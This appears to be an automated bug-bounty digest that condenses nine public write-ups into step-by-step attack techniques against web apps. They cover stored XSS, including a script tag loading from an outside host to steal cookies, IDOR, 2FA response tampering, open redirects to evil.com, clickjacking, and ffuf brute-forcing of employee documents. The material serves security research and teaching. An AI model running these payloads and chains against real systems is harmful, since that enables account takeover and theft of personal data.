# ETX Signal-X

Daily Intelligence Digest

Tuesday, March 3, 2026

| 9 | 12 |
| --- | --- |
| ARTICLES | TECHNIQUES |

Article 1

# XSS Meets IDOR: A Double Vulnerability Story on a Learning Platform

**Source:** securitycipher

**Date:** 19-Jun-2025

**URL:** https://hettt.medium.com/xss-meets-idor-a-double-vulnerability-story-on-a-learning-platform-aed3157759e0

## T1 Stored HTML Injection in Display Name (Username)

### 💉 Payload

```
<h1>Holaaaa</h1> h1 h1
```

### ⚔️ Attack Chain

1. Intercept the registration POST request using Burp Suite or similar proxy.
2. Modify the 'full name' or username parameter to include raw HTML (e.g., `<h1>Holaaaa</h1>`).
3. Forward the request to the server, bypassing frontend validation.
4. Observe that the backend stores the unsanitized HTML in the user profile.
5. Identify locations where the display name is rendered elsewhere in the application (e.g., blog posts, comments, admin dashboard) to trigger stored XSS.

### 🔍 Discovery

Manual tampering of registration payload in Burp Suite after noticing frontend validation blocked special characters.

### 🔓 Bypass

Frontend validation blocks special characters, but backend does not revalidate or sanitize input, allowing direct HTML injection via intercepted requests.

### 🔗 Chain With

Combine with any feature that renders usernames/display names in a privileged or cross-user context (e.g., admin views, notifications) for privilege escalation or session hijack.

## T2 IDOR in BlogID Parameter Exposing and Triggering Stored XSS via Email Preview

### 💉 Payload

```
https://www.redacted.com/Articles/EmailToFriend.aspx?BlogID=96226
```

### ⚔️ Attack Chain

1. Create a blog post with XSS payloads in the description or content fields.
2. Use the "Email Blog to a Friend" feature, which generates a preview at:
3. Change the BlogID parameter in the URL to another user's blog ID (predictable/incremental).
4. Access the email preview for any blog, including private or draft blogs, without authorization.
5. If the target blog contains XSS payloads, these are rendered and executed in the preview context.
6. Potential to exfiltrate sensitive data (e.g., author email) or trigger auto-send with malicious content.

### 🔍 Discovery

Parameter tampering on the BlogID after observing the feature's endpoint and lack of authentication checks.

### 🔓 Bypass

No authorization or ownership check on BlogID; predictable numeric IDs allow enumeration and access to all blogs.

### 🔗 Chain With

Combine with stored XSS in blog content for cross-user attacks. Use XSS in preview to steal session cookies, CSRF tokens, or escalate to account takeover.

## T3 Stored XSS in Blog History Preview via Malicious Blog Content

### 💉 Payload

```
"><script src="<https://js.rip/sdjsajkx>"></script><script src="<https://js.rip/sdjsajkx>">
script src"<https://js.rip/sdjsajkx>"</script> script
```

### ⚔️ Attack Chain

1. Create or edit a blog post, injecting XSS payloads into the title or description fields.
2. Save the blog post, ensuring the payload is stored in the blog's history/versioning system.
3. Access the blog management UI and select the "View History" option from the dropdown menu ( ⋮ ) on the blog post.
4. Observe that the history preview renders previous versions, including those with malicious payloads.
5. When the history page loads, the XSS payload executes in the browser context, e.g., sending cookies to an attacker-controlled domain.

### 🔍 Discovery

Exploring the blog's management features and testing how historical content is rendered after injecting payloads.

### 🔓 Bypass

No sanitization or output encoding of historical blog content in the history preview feature.

### 🔗 Chain With

Use with IDOR (Technique 2) to access and trigger XSS in other users' blog histories. Use XSS Hunter or similar tooling to automate cookie/session exfiltration from privileged users (e.g., admins viewing history).

Article 2

## How I Found The Unauthorized account manipulation?

**Source:** securitycipher

**Date:** 27-Apr-2025

**URL:** https://doordiefordream.medium.com/how-i-found-the-unauthorized-account-manipulation-3f3312360751

## T1 Email Change Without Verification Enables Account Takeover

### 💉 Payload

```
POST /profile/change-email HTTP/1.1
Host: bet.example.com
Content-Type: application/json
Cookie: session=YOUR_SESSION_COOKIE

{
  "email": "attacker_new@email.com"
}
```

### ⚔️ Attack Chain

1. Register a new account on bet.example.com with your own email address.
2. Log in and navigate to the profile section.
3. Change the account email to an attacker-controlled email address via the profile update endpoint.
4. No verification email is sent to either the old or new email.
5. Log out.
6. Attempt to log in with the old email—access is denied.
7. Attempt to log in with the new (attacker-controlled) email.
8. Use the password reset functionality to set a new password for the account using the new email (no knowledge of the original password required).
9. Full account takeover is achieved.

### 🔍 Discovery

Manual exploration of the profile update functionality, specifically testing the email change process and observing the absence of verification or confirmation steps.

### 🔓 Bypass

The lack of email verification or confirmation allows an attacker to change the account's email to one they control and then reset the password, bypassing any ownership checks tied to the original email.

### 🔗 Chain With

Can be chained with weak password reset flows for automated mass account takeovers. Potential for lateral movement if the email is used for SSO or other linked services.

Article 3

## Header Injection to Hero: How I Hijacked Emails and Made the Server Sing

**Source:** securitycipher
**Date:** 27-May-2025
**URL:** https://infosecwriteups.com/header-injection-to-hero-how-i-hijacked-emails-and-made-the-server-sing-7b8817e3736c

⚠️ No actionable techniques found

Article 4

# From Zero Reports to My First Hall of Fame

**Source:** securitycipher

**Date:** 26-Nov-2025

**URL:** https://voidsec24.medium.com/from-zero-reports-to-my-first-hall-of-fame-177eb70afd58

## T1 Clickjacking via Missing X-Frame-Options/CSP on Login Page

### 💉 Payload

```
<html>
  <body>
    <iframe src="https://target-login.gea-group.com/" width="800" height="600"></iframe>
  </body>
</html>
```

### ⚔️ Attack Chain

1. Identify a login page on a GEA Group subdomain.
2. Check HTTP response headers for absence of `X-Frame-Options` and CSP headers.
3. Create a malicious HTML page embedding the login page in an `<iframe>`.
4. Host the HTML page and lure a victim to visit it.
5. Overlay deceptive UI elements to trick users into interacting with the framed login page (e.g., fake buttons, opacity overlays).

### 🔍 Discovery

Manual recon of subdomains for VDP target; inspection of login page HTTP headers revealed missing `X-Frame-Options` and CSP, prompting a clickjacking test by embedding in an iframe.

### 🔓 Bypass

No framebusting JavaScript or header-based protections present; direct iframe embedding is possible.

### 🔗 Chain With

Combine with credential harvesting overlays for phishing. Potential for session fixation or CSRF if login flow is weak. Could be chained with UI redressing for more advanced attacks.

Article 5

# Turning Fuzzing Into $2,550: How a Simple Bug Gave Me Access to Employee IDs & Contracts

**Source:** securitycipher
**Date:** 29-Jan-2026
**URL:** https://almuntadhar.medium.com/turning-fuzzing-into-2-550-how-a-simple-bug-gave-me-access-to-employee-ids-contracts-bcc3137a84a7

## T1 Directory and File Enumeration to Access Sensitive Employee Documents

### 💉 Payload

```
ffuf -u https://employees.redacted.com/FUZZ -w big.txt
```

### ⚔️ Attack Chain

1. Perform reconnaissance to identify subdomains, discovering `employees.redacted.com`.
2. Attempt to access the portal, observe forced redirection to authentication.
3. Use ffuf to fuzz for directories and endpoints on `employees.redacted.com`.
4. Filter out responses that match the login page to isolate unique behaviors.
5. Identify `/assets` and `/assets/stage` endpoints that redirect differently (to `/assets/` and `/assets/stage/` respectively before login page).
6. Fuzz within `/assets/stage/` for files, using numeric brute-force for filenames.
7. Discover accessible files such as `001.png` (employee ID card) and `.pdf` files (employee contracts) without authentication.

### 🔍 Discovery

Initial subdomain enumeration followed by recursive directory and file fuzzing, filtering out standard login redirects to spot endpoints with different behaviors.

### 🔓 Bypass

Endpoints `/assets` and `/assets/stage` do not immediately enforce authentication, allowing unauthenticated access to files within those directories if the correct filename is guessed.

### 🔗 Chain With

Leaked employee ID cards and contracts may contain PII or credentials for further social engineering or privilege escalation. Endpoint patterns may be reused on other subdomains or environments.

## T2 Numeric Filename Brute-Forcing for Bulk Data Extraction

### 💉 Payload

```
seq -w 1 999 > numbers.txt
ffuf -u https://employees.redacted.com/assets/stage/FUZZ.png -w numbers.txt -fw 13
```

### ⚔️ Attack Chain

1. Generate a wordlist of zero-padded numbers from 001 to 999 using `seq -w 1 999 > numbers.txt`.
2. Use ffuf to brute-force file access at `https://employees.redacted.com/assets/stage/FUZZ.png` with the generated wordlist, filtering out responses matching the login page (using `-fw 13`).
3. Successfully retrieve hundreds of employee ID card images and PDF contracts by iterating through numeric filenames.

### 🔍 Discovery

Observation of the file naming pattern (`001.png`) led to the hypothesis that files are sequentially numbered. Automated brute-force enumeration with a numeric wordlist confirmed mass exposure.

### 🔓 Bypass

No authentication required for direct file access if the filename is known or guessed, bypassing intended access controls.

### 🔗 Chain With

Extracted documents can be used for further attacks (e.g., phishing, credential stuffing, insider threat simulation). The numeric brute-force pattern may apply to other sensitive directories or file types on the same or related assets.

Article 6

# AN EASY 2FA BYPASS

**Source:** securitycipher
**Date:** 25-May-2025
**URL:** https://sijojohnson.medium.com/an-easy-2fa-bypass-261261ca2eab

## T1 2FA Bypass via Response Manipulation

### 💉 Payload

```
{ "ready": false }
```

### ⚔️ Attack Chain

1. Enable 2FA on the target account and log out.
2. Log in again with valid credentials (ensure proxy is OFF to avoid login errors).
3. Upon successful login, system prompts for 2FA code.
4. Enable proxy and turn on interception (e.g., Burp Suite).
5. Enter any random 2FA code and submit the form.
6. Intercept the server's response, which will be:
7. Modify the intercepted response to:
8. Forward the modified response to the client.
9. The application grants access to the account, bypassing 2FA verification and redirecting to the dashboard.

### 🔍 Discovery

Observed that after enabling 2FA, the feature appeared non-functional (no 2FA prompt on login). Upon further testing, noticed the 2FA prompt did appear, but the server's response to incorrect codes was a JSON object with a boolean flag. Intercepted and manipulated this response to test for logic flaws.

### 🔓 Bypass

The client-side logic trusts the `"ready": true` value in the server response, granting access regardless of the actual 2FA code validity. No server-side validation is enforced after the response is altered in transit.

### 🔗 Chain With

Can be chained with session fixation or weak session management to maintain access post-bypass. If the same logic is used for other sensitive flows (e.g., password reset, device verification), similar manipulation may yield further privilege escalation or account takeover vectors.

Article 7

# How I Discovered an Open Redirect

**Source:** securitycipher

**Date:** 19-May-2025

**URL:** https://infosecwriteups.com/how-i-discovered-an-open-redirect-3b01879b6ebc

## T1 Open Redirect via Unvalidated `redirect_url` Parameter

### 💉 Payload

```
GET /login?redirect_url=https://evil.com HTTP/1.1
Host: target.com
```

### ⚔️ Attack Chain

1. Attacker crafts a URL pointing to the login endpoint with the `redirect_url` parameter set to an external, attacker-controlled domain (e.g., `https://evil.com`).
2. Victim clicks the crafted URL and is prompted to log in to `target.com`.
3. Upon successful authentication, the application redirects the user to the URL specified in `redirect_url` without validation, sending the victim to the attacker's site.

### 🔍 Discovery

Manual parameter fuzzing on authentication and login-related endpoints. The researcher tested common redirect parameter names (`redirect_url`) and observed the application's post-authentication behavior to see if arbitrary external URLs were accepted and followed.

### 🔓 Bypass

No advanced bypass logic described; the application accepted full external URLs in the `redirect_url` parameter without any validation or allowlist.

### 🔗 Chain With

Can be chained with phishing campaigns to harvest credentials or tokens after login. May assist in chaining with SSRF or OAuth misconfigurations if the redirect endpoint is trusted by other internal services.

Article 8

# Hacking Web Meeting/Webinar App

**Source:** securitycipher

**Date:** 23-Feb-2024

**URL:** https://ronak-9889.medium.com/hacking-web-meeting-webinar-app-1cb31c648752

## T1 WebSocket Public Chat Restriction Bypass

### 💉 Payload

```
{
  "action": "sendMessage",
  "message": "<attacker's message>",
  "isPrivate": false
}
```

### ⚔️ Attack Chain

1. Log in as an attendee in the web meeting/webinar app.
2. Wait for the presenter/admin to enforce the "private chat only" restriction.
3. Attempt to send a chat message; intercept the outgoing WebSocket request.
4. Modify the `isPrivate` parameter from `true` to `false` in the WebSocket payload.
5. Forward the modified WebSocket message to the server.
6. Observe that the message is delivered to the public chat, bypassing the restriction.

### 🔍 Discovery

While inspecting WebSocket traffic as both presenter and attendee, noticed the `isPrivate` parameter controlled chat visibility. Changing its value in an intercepted request allowed bypassing enforced restrictions.

### 🔓 Bypass

Direct client-side manipulation of the `isPrivate` parameter in the WebSocket payload is not validated server-side, allowing privilege escalation from private to public chat.

### 🔗 Chain With

Potential to combine with further privilege escalation or information disclosure if public chat exposes sensitive data or triggers notifications to unintended users.

## T2 Shared File Deletion via WebSocket IDOR

### 💉 Payload

```
{
  "action": "deleteFile",
  "contentId": "<file_content_id>"
}
```

### ⚔️ Attack Chain

1. Log in as an attendee in the web meeting/webinar app.
2. Monitor WebSocket traffic to identify file sharing actions and capture the `contentId` of a file shared by the presenter/admin.
3. Use the WebSocket client or repeater to craft a request with the `deleteFile` action and the captured `contentId`.
4. Send the crafted WebSocket request as an attendee.
5. Observe that the file is deleted from the shared space, even though the attendee should not have permission.

### 🔍 Discovery

While monitoring WebSocket traffic as an attendee, noticed file-related actions and identifiers. Attempted to replay a delete action with a presenter's file `contentId` and observed successful deletion.

### 🔓 Bypass

Lack of proper authorization checks on the `deleteFile` WebSocket action allows any authenticated user with knowledge of a valid `contentId` to delete files they do not own.

### 🔗 Chain With

Can be chained with enumeration of file IDs (if predictable or exposed) for mass deletion or targeted disruption of presenter/admin resources.

Article 9

# The Great Photo Heist: IDOR Vulnerability Strikes Again

**Source:** securitycipher

**Date:** 13-Oct-2024

**URL:** https://rofes1337.medium.com/the-great-photo-heist-idor-vulnerability-strikes-again-6ed9a47c8c74

## T1 Mass Download of Sensitive Photos via IDOR in Partner Portal

### 💉 Payload

```
GET /api/partner/photo/download?id=1 HTTP/1.1
Host: service.target.com
Cookie: [valid session cookie]
```

### ⚔️ Attack Chain

1. Register as a partner on the target shopping site and complete email/phone verification.
2. Navigate to the `Settlement related` > `My entry` section and apply for admission under any settlement type (e.g., Operation Service).
3. Upload a business license photo as part of the application process.
4. After submission, return to `My entry`, select `edit operate`, and locate the download option for the uploaded photo.
5. Intercept the download request in Burp Suite (or similar proxy).
6. Identify the `id` parameter in the download endpoint (e.g., `/api/partner/photo/download?id=YOUR_ID`).
7. Increment or brute-force the `id` parameter (e.g., `id=1`, `id=2`, ...) to access and download photos uploaded by other users, including sensitive documents.

### 🔍 Discovery

After uploading a photo, the researcher reviewed the download functionality for their own uploaded file, intercepted the request, and hypothesized that the `id` parameter might be predictable and unprotected. Manual manipulation and enumeration of the `id` parameter confirmed unauthorized access to other users' files.

### 🔓 Bypass

No authentication or authorization checks were enforced on the `id` parameter. Any authenticated partner user could enumerate and access all uploaded photos regardless of ownership.

### 🔗 Chain With

Use harvested sensitive documents (business licenses, institutional photos, proof of enrollment) for further social engineering, phishing, or business logic attacks. Combine with account takeover or privilege escalation to automate mass data exfiltration. Leverage document metadata or embedded information for lateral movement within the organization.

Automated with ❤️ by ethicxlhuman